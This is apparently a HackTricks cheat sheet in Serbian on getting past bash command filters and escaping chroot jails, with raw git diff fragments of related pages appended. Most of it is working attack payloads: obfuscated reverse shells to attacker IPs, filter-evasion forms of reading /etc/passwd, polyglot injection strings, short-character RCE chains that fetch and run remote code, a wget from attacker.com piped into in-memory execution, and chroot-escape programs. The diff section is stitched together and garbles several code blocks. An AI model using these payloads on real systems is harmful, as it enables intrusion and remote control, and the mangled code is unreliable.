Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||||
|
Dobijte pristup danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## Zaobilazak uobičajenih ograničenja
|
||||||
|
|
||||||
|
### Reverse Shell
|
||||||
|
```bash
|
||||||
|
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||||
|
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||||
|
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
||||||
|
```
|
||||||
|
### Kratka Rev shell
|
||||||
|
```bash
|
||||||
|
#Trick from Dikline
|
||||||
|
#Get a rev shell with
|
||||||
|
(sh)0>/dev/tcp/10.10.10.10/443
|
||||||
|
#Then get the out of the rev shell executing inside of it:
|
||||||
|
exec >&0
|
||||||
|
```
|
||||||
|
### Zaobilaženje putanja i zabranjenih reči
|
||||||
|
```bash
|
||||||
|
# Question mark binary substitution
|
||||||
|
/usr/bin/p?ng # /usr/bin/ping
|
||||||
|
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
|
||||||
|
|
||||||
|
# Wildcard(*) binary substitution
|
||||||
|
/usr/bin/who*mi # /usr/bin/whoami
|
||||||
|
|
||||||
|
# Wildcard + local directory arguments
|
||||||
|
touch -- -la # -- stops processing options after the --
|
||||||
|
ls *
|
||||||
|
echo * #List current files and folders with echo and wildcard
|
||||||
|
|
||||||
|
# [chars]
|
||||||
|
/usr/bin/n[c] # /usr/bin/nc
|
||||||
|
|
||||||
|
# Quotes
|
||||||
|
'p'i'n'g # ping
|
||||||
|
"w"h"o"a"m"i # whoami
|
||||||
|
ech''o test # echo test
|
||||||
|
ech""o test # echo test
|
||||||
|
bas''e64 # base64
|
||||||
|
|
||||||
|
#Backslashes
|
||||||
|
\u\n\a\m\e \-\a # uname -a
|
||||||
|
/\b\i\n/////s\h
|
||||||
|
|
||||||
|
# $@
|
||||||
|
who$@ami #whoami
|
||||||
|
|
||||||
|
# Transformations (case, reverse, base64)
|
||||||
|
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
|
||||||
|
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
|
||||||
|
$(rev<<<'imaohw') #whoami
|
||||||
|
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
|
||||||
|
|
||||||
|
|
||||||
|
# Execution through $0
|
||||||
|
echo whoami|$0
|
||||||
|
|
||||||
|
# Uninitialized variables: A uninitialized variable equals to null (nothing)
|
||||||
|
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
|
||||||
|
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
|
||||||
|
|
||||||
|
# Fake commands
|
||||||
|
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
|
||||||
|
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
|
||||||
|
|
||||||
|
# Concatenation of strings using history
|
||||||
|
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
|
||||||
|
mi # This will throw an error
|
||||||
|
whoa # This will throw an error
|
||||||
|
!-1!-2 # This will execute whoami
|
||||||
|
```
|
||||||
|
### Zaobiđite zabranjene prostore
|
||||||
|
```bash
|
||||||
|
# {form}
|
||||||
|
{cat,lol.txt} # cat lol.txt
|
||||||
|
{echo,test} # echo test
|
||||||
|
|
||||||
|
# IFS - Internal field separator, change " " for any other character ("]" in this case)
|
||||||
|
cat${IFS}/etc/passwd # cat /etc/passwd
|
||||||
|
cat$IFS/etc/passwd # cat /etc/passwd
|
||||||
|
|
||||||
|
# Put the command line in a variable and then execute it
|
||||||
|
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
|
||||||
|
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
|
||||||
|
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
|
||||||
|
# Other way, just change each space for ${IFS}
|
||||||
|
echo${IFS}test
|
||||||
|
|
||||||
|
# Using hex format
|
||||||
|
X=$'cat\x20/etc/passwd'&&$X
|
||||||
|
|
||||||
|
# Using tabs
|
||||||
|
echo "ls\x09-l" | bash
|
||||||
|
|
||||||
|
# New lines
|
||||||
|
p\
|
||||||
|
i\
|
||||||
|
n\
|
||||||
|
g # These 4 lines will equal to ping
|
||||||
|
|
||||||
|
# Undefined variables and !
|
||||||
|
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||||
|
uname!-1\-a # This equals to uname -a
|
||||||
|
```
|
||||||
|
### Zaobiđite kosu crtu i kosu crtu
|
||||||
|
```bash
|
||||||
|
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||||
|
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||||
|
```
|
||||||
|
### Zaobilazak cevi
|
||||||
|
```bash
|
||||||
|
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||||
|
```
|
||||||
|
### Zaobilazak pomoću heksadecimalnog kodiranja
|
||||||
|
```bash
|
||||||
|
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||||
|
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||||
|
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
|
||||||
|
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
|
||||||
|
cat `xxd -r -p <<< 2f6574632f706173737764`
|
||||||
|
xxd -r -ps <(echo 2f6574632f706173737764)
|
||||||
|
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||||
|
```
|
||||||
|
### Zaobilazak IP adresa
|
||||||
|
```bash
|
||||||
|
# Decimal IPs
|
||||||
|
127.0.0.1 == 2130706433
|
||||||
|
```
|
||||||
|
### Vreme zasnovane ekstrakcije podataka
|
||||||
|
```bash
|
||||||
|
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||||
|
```
|
||||||
|
### Dobijanje karaktera iz promenljivih okruženja
|
||||||
|
```bash
|
||||||
|
echo ${LS_COLORS:10:1} #;
|
||||||
|
echo ${PATH:0:1} #/
|
||||||
|
```
|
||||||
|
### DNS podaci eksfiltracija
|
||||||
|
|
||||||
|
Možete koristiti **burpcollab** ili [**pingb**](http://pingb.in) na primer.
|
||||||
|
|
||||||
|
### Ugrađeni
|
||||||
|
|
||||||
|
U slučaju da ne možete izvršiti spoljne funkcije i imate pristup samo **ograničenom skupu ugrađenih funkcija za dobijanje RCE**, postoje neki korisni trikovi za to. Obično **nećete moći koristiti sve** ugrađene funkcije, pa biste trebali **znati sve svoje opcije** kako biste pokušali da zaobiđete zatvor. Ideja od [**devploit**](https://twitter.com/devploit).\
|
||||||
|
Prvo proverite sve [**shell ugrađene funkcije**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Onda imate neke **preporuke**:
|
||||||
|
```bash
|
||||||
|
# Get list of builtins
|
||||||
|
declare builtins
|
||||||
|
|
||||||
|
# In these cases PATH won't be set, so you can try to set it
|
||||||
|
PATH="/bin" /bin/ls
|
||||||
|
export PATH="/bin"
|
||||||
|
declare PATH="/bin"
|
||||||
|
SHELL=/bin/bash
|
||||||
|
|
||||||
|
# Hex
|
||||||
|
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||||||
|
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
|
||||||
|
|
||||||
|
# Input
|
||||||
|
read aaa; exec $aaa #Read more commands to execute and execute them
|
||||||
|
read aaa; eval $aaa
|
||||||
|
|
||||||
|
# Get "/" char using printf and env vars
|
||||||
|
printf %.1s "$PWD"
|
||||||
|
## Execute /bin/ls
|
||||||
|
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
|
||||||
|
## To get several letters you can use a combination of printf and
|
||||||
|
declare
|
||||||
|
declare functions
|
||||||
|
declare historywords
|
||||||
|
|
||||||
|
# Read flag in current dir
|
||||||
|
source f*
|
||||||
|
flag.txt:1: command not found: CTF{asdasdasd}
|
||||||
|
|
||||||
|
# Read file with read
|
||||||
|
while read -r line; do echo $line; done < /etc/passwd
|
||||||
|
|
||||||
|
# Get env variables
|
||||||
|
declare
|
||||||
|
|
||||||
|
# Get history
|
||||||
|
history
|
||||||
|
declare history
|
||||||
|
declare historywords
|
||||||
|
|
||||||
|
# Disable special builtins chars so you can abuse them as scripts
|
||||||
|
[ #[: ']' expected
|
||||||
|
## Disable "[" as builtin and enable it as script
|
||||||
|
enable -n [
|
||||||
|
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
|
||||||
|
chmod +x [
|
||||||
|
export PATH=/tmp:$PATH
|
||||||
|
if [ "a" ]; then echo 1; fi # Will print hello!
|
||||||
|
```
|
||||||
|
### Poliglot ubacivanje komandi
|
||||||
|
```bash
|
||||||
|
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||||
|
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||||
|
```
|
||||||
|
### Zaobiđite potencijalne regexe
|
||||||
|
```bash
|
||||||
|
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||||
|
1%0a`curl http://attacker.com`
|
||||||
|
```
|
||||||
|
### Bashfuscator
|
||||||
|
```bash
|
||||||
|
# From https://github.com/Bashfuscator/Bashfuscator
|
||||||
|
./bashfuscator -c 'cat /etc/passwd'
|
||||||
|
```
|
||||||
|
### RCE sa 5 karaktera
|
||||||
|
```bash
|
||||||
|
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||||||
|
#Oragnge Tsai solution
|
||||||
|
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
|
||||||
|
http://host/?cmd=>ls\
|
||||||
|
http://host/?cmd=ls>_
|
||||||
|
http://host/?cmd=>\ \
|
||||||
|
http://host/?cmd=>-t\
|
||||||
|
http://host/?cmd=>\>g
|
||||||
|
http://host/?cmd=ls>>_
|
||||||
|
|
||||||
|
## Step2: generate `curl orange.tw|python` to file "g"
|
||||||
|
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
|
||||||
|
http://host/?cmd=>on
|
||||||
|
http://host/?cmd=>th\
|
||||||
|
http://host/?cmd=>py\
|
||||||
|
http://host/?cmd=>\|\
|
||||||
|
http://host/?cmd=>tw\
|
||||||
|
http://host/?cmd=>e.\
|
||||||
|
http://host/?cmd=>ng\
|
||||||
|
http://host/?cmd=>ra\
|
||||||
|
http://host/?cmd=>o\
|
||||||
|
http://host/?cmd=>\ \
|
||||||
|
http://host/?cmd=>rl\
|
||||||
|
http://host/?cmd=>cu\
|
||||||
|
http://host/?cmd=sh _
|
||||||
|
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
|
||||||
|
|
||||||
|
## Finally execute the file "g"
|
||||||
|
http://host/?cmd=sh g
|
||||||
|
|
||||||
|
|
||||||
|
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||||||
|
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
|
||||||
|
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
|
||||||
|
## Execute tar command over a folder
|
||||||
|
http://52.199.204.34/?cmd=>tar
|
||||||
|
http://52.199.204.34/?cmd=>zcf
|
||||||
|
http://52.199.204.34/?cmd=>zzz
|
||||||
|
http://52.199.204.34/?cmd=*%20/h*
|
||||||
|
|
||||||
|
# Another curiosity if you can read files of the current folder
|
||||||
|
ln /f*
|
||||||
|
## If there is a file /flag.txt that will create a hard link
|
||||||
|
## to it in the current folder
|
||||||
|
```
|
||||||
|
### RCE sa 4 karaktera
|
||||||
|
```bash
|
||||||
|
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||||
|
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||||
|
# and then generate the full command in filenames
|
||||||
|
# generate "g> ht- sl" to file "v"
|
||||||
|
'>dir'
|
||||||
|
'>sl'
|
||||||
|
'>g\>'
|
||||||
|
'>ht-'
|
||||||
|
'*>v'
|
||||||
|
|
||||||
|
# reverse file "v" to file "x", content "ls -th >g"
|
||||||
|
'>rev'
|
||||||
|
'*v>x'
|
||||||
|
|
||||||
|
# generate "curl orange.tw|python;"
|
||||||
|
'>\;\\'
|
||||||
|
'>on\\'
|
||||||
|
'>th\\'
|
||||||
|
'>py\\'
|
||||||
|
'>\|\\'
|
||||||
|
'>tw\\'
|
||||||
|
'>e.\\'
|
||||||
|
'>ng\\'
|
||||||
|
'>ra\\'
|
||||||
|
'>o\\'
|
||||||
|
'>\ \\'
|
||||||
|
'>rl\\'
|
||||||
|
'>cu\\'
|
||||||
|
|
||||||
|
# got shell
|
||||||
|
'sh x'
|
||||||
|
'sh g'
|
||||||
|
```
|
||||||
|
## Bypassovanje ograničenja čitanja-samo/izvršavanja/nema izvršavanja u distroless okruženju
|
||||||
|
|
||||||
|
Ako se nalazite unutar sistema datoteka sa **zaštitom čitanja-samo i noexec** ili čak u distroless kontejneru, i dalje postoje načini da **izvršite proizvoljne binarne datoteke, čak i shell!:**
|
||||||
|
|
||||||
|
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
|
||||||
|
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Bypassovanje Chroot-a i drugih zatvora
|
||||||
|
|
||||||
|
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
|
||||||
|
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Reference i više
|
||||||
|
|
||||||
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||||
|
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||||
|
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||||
|
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||||
|
Pristupite danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -1,4 +1,4 @@
|
||||||
# Bypass FS zaštite: samo za čitanje / bez izvršavanja / Distroless
|
# Bypass FS protections: read-only / no-exec / Distroless
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/rs/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako vas zanima **hakerska karijera** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje pisanog i govornog poljskog jezika_).
|
Ako vas zanima **hakerska karijera** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje pisanog i govornog poljskog jezika_).
|
||||||
|
|
||||||
|
@ -81,10 +81,12 @@ Stoga, **kontrolišući asemblerski kod** koji se izvršava od strane procesa, m
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**DDexec / EverythingExec** će vam omogućiti da učitate i **izvršite** svoj sopstveni **shellcode** ili **bilo koji binarni fajl** iz **memorije**.
|
**DDexec / EverythingExec** će vam omogućiti da učitate i **izvršite** svoj sopstveni **shellcode** ili **bilo koji binarni fajl** iz **memorije**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Basic example
|
# Basic example
|
||||||
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
|
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
|
||||||
```
|
```
|
||||||
|
|
||||||
Za više informacija o ovoj tehnici pogledajte Github ili:
|
Za više informacija o ovoj tehnici pogledajte Github ili:
|
||||||
|
|
||||||
{% content-ref url="ddexec.md" %}
|
{% content-ref url="ddexec.md" %}
|
||||||
|
@ -131,7 +133,7 @@ Međutim, u ovakvim kontejnerima ove zaštite obično postoje, ali možete koris
|
||||||
|
|
||||||
Možete pronaći **primere** kako **iskoristiti neke RCE ranjivosti** da biste dobili **reverse shell-ove skripting jezika** i izvršili binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
Možete pronaći **primere** kako **iskoristiti neke RCE ranjivosti** da biste dobili **reverse shell-ove skripting jezika** i izvršili binarne fajlove iz memorije na [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/rs/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
Ako ste zainteresovani za **hakersku karijeru** i hakovanje neuhvatljivog - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Beg izlaska iz zatvora
|
# Escaping from Jails
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -40,24 +40,14 @@ Obično nećete pronaći binarni fajl `chroot` unutar chroot zatvora, ali **mož
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>C: break_chroot.c</summary>
|
<summary>C: break_chroot.c</summary>
|
||||||
```c
|
|
||||||
#include <sys/stat.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
|
|
||||||
//gcc break_chroot.c -o break_chroot
|
\`\`\`c #include #include #include
|
||||||
|
|
||||||
int main(void)
|
//gcc break\_chroot.c -o break\_chroot
|
||||||
{
|
|
||||||
mkdir("chroot-dir", 0755);
|
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
|
||||||
chroot("chroot-dir");
|
|
||||||
for(int i = 0; i < 1000; i++) {
|
````
|
||||||
chdir("..");
|
|
||||||
}
|
|
||||||
chroot(".");
|
|
||||||
system("/bin/bash");
|
|
||||||
}
|
|
||||||
```
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -72,22 +62,16 @@ for i in range(1000):
|
||||||
os.chdir("..")
|
os.chdir("..")
|
||||||
os.chroot(".")
|
os.chroot(".")
|
||||||
os.system("/bin/bash")
|
os.system("/bin/bash")
|
||||||
```
|
````
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Perl</summary>
|
<summary>Perl</summary>
|
||||||
```perl
|
|
||||||
#!/usr/bin/perl
|
\`\`\`perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); \`\`\`
|
||||||
mkdir "chroot-dir";
|
|
||||||
chroot "chroot-dir";
|
|
||||||
foreach my $i (0..1000) {
|
|
||||||
chdir ".."
|
|
||||||
}
|
|
||||||
chroot ".";
|
|
||||||
system("/bin/bash");
|
|
||||||
```
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### Root + Sačuvani fd
|
### Root + Sačuvani fd
|
||||||
|
@ -99,31 +83,20 @@ Ovo je slično kao i prethodni slučaj, ali u ovom slučaju **napadač čuva fil
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>C: break_chroot.c</summary>
|
<summary>C: break_chroot.c</summary>
|
||||||
```c
|
|
||||||
#include <sys/stat.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
|
|
||||||
//gcc break_chroot.c -o break_chroot
|
\`\`\`c #include #include #include
|
||||||
|
|
||||||
int main(void)
|
//gcc break\_chroot.c -o break\_chroot
|
||||||
{
|
|
||||||
mkdir("tmpdir", 0755);
|
int main(void) { mkdir("tmpdir", 0755); dir\_fd = open(".", O\_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir\_fd); close(dir\_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }
|
||||||
dir_fd = open(".", O_RDONLY);
|
|
||||||
if(chroot("tmpdir")){
|
````
|
||||||
perror("chroot");
|
|
||||||
}
|
|
||||||
fchdir(dir_fd);
|
|
||||||
close(dir_fd);
|
|
||||||
for(x = 0; x < 1000; x++) chdir("..");
|
|
||||||
chroot(".");
|
|
||||||
}
|
|
||||||
```
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### Root + Fork + UDS (Unix Domain Sockets)
|
### Root + Fork + UDS (Unix Domain Sockets)
|
||||||
|
|
||||||
{% hint style="warning" %}
|
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||||
|
|
||||||
FD može biti prosleđen preko Unix Domain Sockets, pa:
|
FD može biti prosleđen preko Unix Domain Sockets, pa:
|
||||||
|
|
||||||
* Kreirajte child proces (fork)
|
* Kreirajte child proces (fork)
|
||||||
|
@ -132,39 +105,48 @@ FD može biti prosleđen preko Unix Domain Sockets, pa:
|
||||||
* U roditeljskom procesu, kreirajte FD foldera koji je van novog chroot-a deteta
|
* U roditeljskom procesu, kreirajte FD foldera koji je van novog chroot-a deteta
|
||||||
* Prosledite tom FD-u detetu koristeći UDS
|
* Prosledite tom FD-u detetu koristeći UDS
|
||||||
* Dete promeni direktorijum na taj FD, i zato što je van svog chroot-a, ono će izaći iz zatvora
|
* Dete promeni direktorijum na taj FD, i zato što je van svog chroot-a, ono će izaći iz zatvora
|
||||||
{% endhint %}
|
|
||||||
|
</div>
|
||||||
|
|
||||||
###  Root + Mount
|
###  Root + Mount
|
||||||
|
|
||||||
{% hint style="warning" %}
|
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||||
|
|
||||||
* Montirajte root uređaj (/) u direktorijum unutar chroot-a
|
* Montirajte root uređaj (/) u direktorijum unutar chroot-a
|
||||||
* Chroot u taj direktorijum
|
* Chroot u taj direktorijum
|
||||||
|
|
||||||
Ovo je moguće u Linuxu
|
Ovo je moguće u Linuxu
|
||||||
{% endhint %}
|
|
||||||
|
</div>
|
||||||
|
|
||||||
### Root + /proc
|
### Root + /proc
|
||||||
|
|
||||||
{% hint style="warning" %}
|
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||||
|
|
||||||
* Montirajte procfs u direktorijum unutar chroot-a (ako već nije)
|
* Montirajte procfs u direktorijum unutar chroot-a (ako već nije)
|
||||||
* Potražite pid koji ima drugačiji root/cwd unos, kao što je: /proc/1/root
|
* Potražite pid koji ima drugačiji root/cwd unos, kao što je: /proc/1/root
|
||||||
* Chroot u taj unos
|
* Chroot u taj unos
|
||||||
{% endhint %}
|
|
||||||
|
</div>
|
||||||
|
|
||||||
### Root(?) + Fork
|
### Root(?) + Fork
|
||||||
|
|
||||||
{% hint style="warning" %}
|
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||||
|
|
||||||
* Kreirajte Fork (child proces) i chroot u drugi folder dublje u FS i CD na njega
|
* Kreirajte Fork (child proces) i chroot u drugi folder dublje u FS i CD na njega
|
||||||
* Iz roditeljskog procesa, premestite folder u kojem se nalazi child proces u folder prethodan chroot-u dece
|
* Iz roditeljskog procesa, premestite folder u kojem se nalazi child proces u folder prethodan chroot-u dece
|
||||||
